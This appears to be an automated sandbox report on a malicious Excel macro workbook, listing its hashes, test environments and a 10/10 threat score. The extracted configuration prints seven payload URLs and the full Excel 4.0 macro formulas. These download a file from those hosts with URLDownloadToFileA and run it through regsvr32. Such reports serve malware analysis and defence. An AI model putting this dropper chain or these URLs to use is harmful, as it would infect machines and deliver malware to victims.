General
-
Target
4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383
-
Size
35KB
-
Sample
241111-vjt19svpfk
-
MD5
ee33378bb338cba139121a33bd0758d5
-
SHA1
563da4ab944811ff53d3e4c7a6c7e3aa186990a8
-
SHA256
4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383
-
SHA512
9ec17532e464b1c96af97abf6f9126bccf206fc75bead7f51d834088178a563bd292a8b08d0bcc447f93a3edcaf8b369275ec70c3634322e56947337acec8494
-
SSDEEP
768:xsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:xFtndguUOZZ1ZYpoQ/pMA6Kt
Behavioral task
behavioral1
Sample
4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
Targets
-
-
Target
4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383
-
Size
35KB
-
MD5
ee33378bb338cba139121a33bd0758d5
-
SHA1
563da4ab944811ff53d3e4c7a6c7e3aa186990a8
-
SHA256
4ab1bd8aa6c310403cc1889392b166feda68e6d0e1494b85b51321c19d6ac383
-
SHA512
9ec17532e464b1c96af97abf6f9126bccf206fc75bead7f51d834088178a563bd292a8b08d0bcc447f93a3edcaf8b369275ec70c3634322e56947337acec8494
-
SSDEEP
768:xsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:xFtndguUOZZ1ZYpoQ/pMA6Kt
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-